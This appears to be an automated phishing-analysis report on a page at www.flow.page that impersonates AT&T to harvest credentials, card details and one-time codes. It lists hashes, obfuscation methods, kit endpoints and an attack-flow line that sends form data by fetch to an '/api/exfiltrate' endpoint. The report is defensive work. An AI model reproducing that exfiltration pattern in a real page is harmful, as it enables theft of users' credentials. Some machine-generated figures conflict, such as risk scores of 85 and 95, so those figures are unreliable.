EN ES PT

Phishing Analysis

Detailed analysis of captured phishing page

Back to Stats

Visual Capture

Screenshot of www.flow.page

Detection Info

http://www.flow.page/ijhu7gyhj/
Detected Brand
AT&T
Country
USA
Confidence
100%
HTTP Status
200
Report ID
365299cd-1e1…
Analyzed
2026-02-01 00:18
Final URL (after redirects)
https://www.flow.page/ijhu7gyhj

Content Hashes (HTML Similarity)

Used to detect similar phishing pages based on HTML content

Algorithm Hash Value
CONTENT TLSH
T1374283B671C16E2F932732C8B1C2F79EF483A20ACEC945C0B9BA06F693DACB58015555
CONTENT ssdeep
384:w1FcT+TXn18d/cB3B0dyCdNmfYXWKeW58GoCgj8YCCgtNC33:w1uTwXn1EcNtINmfS8GE8YgNC3

Visual Hashes (Screenshot Similarity)

Used to detect visually similar phishing pages based on screenshots

Algorithm Hash Value
VISUAL pHash
ea59da34ca35c835
VISUAL aHash
00001000000000ff
VISUAL dHash
e9e3f3f7e7e7cec9
VISUAL wHash
78793931330303ff
VISUAL colorHash
07038000000
VISUAL cropResistant
cd00c9c109c980d1,f9ebf3f3e7e7efcf

Code Analysis

Risk Score 85/100
Threat Level ALTO
⚠️ Phishing Confirmed
🎣 Credential Harvester 🎣 OTP Stealer 🎣 Card Stealer 🎣 Banking 🎣 Personal Info

🔬 Threat Analysis Report

• Threat: Impersonation
• Target: AT&T customers
• Method: Redirecting users to a malicious site.
• Exfil: Potentially collecting credentials after proceeding.
• Indicators: Mismatched domain, brand logo.
• Risk: High

🔒 Obfuscation Detected

  • atob
  • eval
  • fromCharCode
  • hex_escape
  • unicode_escape
  • base64_strings

🎯 Kit Endpoints

  • http://www.flow.page/api/exfiltrate
  • https://flow.page/privacy-policy#notice-at-collection

📡 API Calls Detected

  • /api/social-validation/youtube?handle=
  • GET
  • /api/social-validation/facebook?handle=
  • POST

📊 Risk Score Breakdown

Total Risk Score
95/100

Contributing Factors

Domain Mismatch
The domain flow.page is completely unrelated to the brand being impersonated (AT&T).
Impersonation
The site displays the AT&T logo and branding to deceive users.
Obfuscation
JavaScript obfuscation techniques detected, a common tactic for malicious actors to hide their activity.

🔬 Comprehensive Threat Analysis

Threat Type
Banking Credential Harvester
Target
AT&T users (USA)
Attack Method
Brand impersonation + credential harvesting forms + obfuscated JavaScript
Exfiltration Channel
Form submission (backend endpoint not detected - likely JavaScript-based)
Risk Assessment
CRITICAL - Automated credential harvesting with Form submission (backend endpoint not detected - likely JavaScript-based)

⚠️ Indicators of Compromise

  • Kit types: Credential Harvester, OTP Stealer, Card Stealer, Banking, Personal Info
  • 950 obfuscation techniques

🏢 Brand Impersonation Analysis

Impersonated Brand
AT&T
Official Website
https://www.att.com
Fake Service
AT&T Login

⚔️ Attack Methodology

Primary Method: Credential Harvesting

The site aims to trick users into entering their AT&T login credentials on a fake form, which are then harvested by the attackers.

Secondary Method: Redirection

The 'Click here to proceed' button could redirect users to another malicious page after the click.

🌐 Infrastructure Indicators of Compromise

🦠 Malicious Files

Main File
main-cd00a71fdfaeeed7.js
File Size

Functions: submitForm()

📊 Attack Flow Diagram

User fills <input name='username'> → submitForm() → fetch('http://www.flow.page/api/exfiltrate') → data sent to external server

🔬 JavaScript Deep Analysis

Operator Language
English (1%)
Total Code Size
2.7 MB

🔗 API Endpoints Detected

Other
49

🔐 Obfuscation Detected

  • : Light
  • : Moderate
  • : Moderate
  • : Heavy
  • : Light
  • : Heavy
  • : Light
  • : Light
  • : None
  • : Light
  • : None
  • : None
  • : Light
  • : None
  • : Light
  • : None
  • : Light
  • : Light
  • : None
  • : Light

🤖 AI-Extracted Threat Intelligence

📊 Attack Flow

User fills <input name='username'> → submitForm() → fetch('http://www.flow.page/api/exfiltrate') → data sent to external server

🎯 Malicious Files Identified

Main Drainer
main-cd00a71fdfaeeed7.js
File Size
45KB
Malicious Functions
  • submitForm()

Scan History for www.flow.page

Found 10 other scans for this domain

😰
"I Never Thought It Would Happen to Me"
That's what 2.3 million victims say every year. Don't wait to become a statistic.